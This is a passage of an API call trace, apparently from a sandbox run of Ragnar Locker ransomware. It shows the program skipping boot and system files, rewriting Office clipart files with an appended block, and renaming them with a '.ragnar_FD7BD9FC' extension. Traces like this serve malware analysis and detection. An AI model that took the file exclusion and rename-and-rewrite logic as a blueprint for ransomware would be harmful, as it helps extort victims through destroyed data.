ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65001c00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0090.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.218] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02746U.BMP" | out: lpString1="PH02746U.BMP") returned="PH02746U.BMP" [0090.219] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP") returned=".BMP" [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="autorun.inf") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="boot.ini") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="bootfont.bin") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="bootsect.bak") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="bootmgr") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="bootmgr.efi") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="desktop.ini") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="iconcache.db") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="ntldr") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="ntuser.dat") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="ntuser.ini") returned 1 [0090.219] lstrcmpiW (lpString1="PH02746U.BMP", lpString2="thumbs.db") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.219] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp")) returned 0x20 [0090.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.220] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32132) returned 1 [0090.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.220] GetProcessHeap () returned 0x580000 [0090.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.220] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.222] VirtualAlloc (lpAddress=0x0, dwSize=0x7d84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.222] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7d84, lpOverlapped=0x0) returned 1 [0090.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d84, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.224] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7d84, lpOverlapped=0x0) returned 1 [0090.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.224] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.224] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.224] GetProcessHeap () returned 0x580000 [0090.224] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.224] CloseHandle (hObject=0xf4) returned 1 [0090.225] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" [0090.225] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ragnar_FD7BD9FC" [0090.225] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.225] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd62df00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd62df00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0090.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.225] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02748G.GIF" | out: lpString1="PH02748G.GIF") returned="PH02748G.GIF" [0090.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF") returned=".GIF" [0090.225] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="autorun.inf") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="boot.ini") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="bootfont.bin") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="bootsect.bak") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="bootmgr") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="bootmgr.efi") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="desktop.ini") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="iconcache.db") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="ntldr") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="ntuser.dat") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="ntuser.ini") returned 1 [0090.226] lstrcmpiW (lpString1="PH02748G.GIF", lpString2="thumbs.db") returned -1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.226] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif")) returned 0x20 [0090.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.227] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24720) returned 1 [0090.227] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6087, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.227] GetProcessHeap () returned 0x580000 [0090.227] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.227] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.228] VirtualAlloc (lpAddress=0x0, dwSize=0x6090, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.228] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6090, lpOverlapped=0x0) returned 1 [0090.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.230] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6090, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.230] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6090, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6090, lpOverlapped=0x0) returned 1 [0090.230] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6090, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.230] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.230] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6090, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.231] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.231] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.231] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.231] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.231] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.231] GetProcessHeap () returned 0x580000 [0090.231] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.231] CloseHandle (hObject=0xf4) returned 1 [0090.231] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" [0090.231] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ragnar_FD7BD9FC" [0090.231] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.232] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0090.232] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.232] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02748U.BMP" | out: lpString1="PH02748U.BMP") returned="PH02748U.BMP" [0090.232] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP") returned=".BMP" [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="autorun.inf") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="boot.ini") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="bootfont.bin") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="bootsect.bak") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="bootmgr") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="bootmgr.efi") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="desktop.ini") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="iconcache.db") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="ntldr") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="ntuser.dat") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="ntuser.ini") returned 1 [0090.232] lstrcmpiW (lpString1="PH02748U.BMP", lpString2="thumbs.db") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.232] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp")) returned 0x20 [0090.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.233] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32400) returned 1 [0090.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.233] GetProcessHeap () returned 0x580000 [0090.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.233] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.234] VirtualAlloc (lpAddress=0x0, dwSize=0x7e90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.235] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e90, lpOverlapped=0x0) returned 1 [0090.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.236] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e90, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.236] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e90, lpOverlapped=0x0) returned 1 [0090.236] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.236] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.237] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.237] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.237] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.237] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.237] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.237] GetProcessHeap () returned 0x580000 [0090.237] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.237] CloseHandle (hObject=0xf4) returned 1 [0090.237] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" [0090.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ragnar_FD7BD9FC" [0090.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.238] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0090.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.238] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02749G.GIF" | out: lpString1="PH02749G.GIF") returned="PH02749G.GIF" [0090.238] 